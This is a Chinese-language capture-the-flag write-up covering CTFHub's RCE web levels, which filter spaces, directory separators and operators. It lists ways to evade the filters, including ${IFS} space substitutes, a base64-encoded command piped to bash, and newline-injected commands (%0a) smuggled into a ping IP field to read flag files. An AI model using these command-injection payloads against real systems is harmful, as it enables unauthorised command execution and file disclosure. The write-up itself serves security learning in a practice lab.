ctfhub_WEB基础关(RCE续集)

发布时间 2023-09-19 20:27:58作者: 凉城厌心

WEB基础

七、RCE

8、过滤空格

  • 该关卡是将输入命令中的空格全部置空

    • 代码解读,这行代码使用了正则表达式来检查变量 $ip 是否包含空格字符。如果 preg_match_all 函数返回 false,表示没有匹配到空格字符,那么 $cmd 变量将设置为 ping 命令并执行该命令。否则,如果 $ip 中包含空格字符,它将不执行 ping 命令,而是将匹配结果存储在 $m 数组中,然后将 $res 设置为 $m,这样在后续的代码中可以打印出 $m 的内容。

    • 代替空格的常用方法

      ${IFS}$9
      {IFS}
      $IFS
      ${IFS}
      $IFS$1 //$1改成$加其他数字貌似都行
      < 
      <> 
      {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
      %20   (space)
      %09   (tab)
      
  • 利用ls命令查看当前目录下的文件

  • 访问flag文件,cat flag_271461284514672.php,访问不到其中的内容,代码过滤了命令中的空格,用其他方式代替空格读取

9、过滤目录分隔符

|| echo "Y2F0ICBmbGFnX2lzX2hlcmUvZmxhZ19pc19oZXJl" | base64 -d | bash
  • 使用ls查看当前文件下的目录

  • 查看改文件夹下面的文件,发现了flag文件

  • 直接用 cat flag_is_here/flag_270142452219003.php发现无法查看文件,代码中删除了/目录分割符

  • 利用;分别执行每个命令

10、过滤运算符

运算符过滤绕过的方式有%0a%0d%0D%0A

  • 查看页面源码,发现过滤了逻辑||&&运算符

  • 按照上一关的思路,可以利用分号来试试

    经过测试发现是可行的,并且发现了flag文件

  • 然后利用cat命令查看该文件,获得到ctfhub

11、综合过滤

  • 检查页面上的代码,发现前几关过滤的在这一关都被过滤了

  • 先查看目录

    127.0.0.1%0als
    

  • 查看文件夹中的内容

    127.0.0.1%0als${IFS}fl$*ag_is_here
    

  • 查看文件中的内容

    127.0.0.1%0acd${IFS}fl$*ag_is_here%0aless${IFS}fl$*ag_209951930013946.php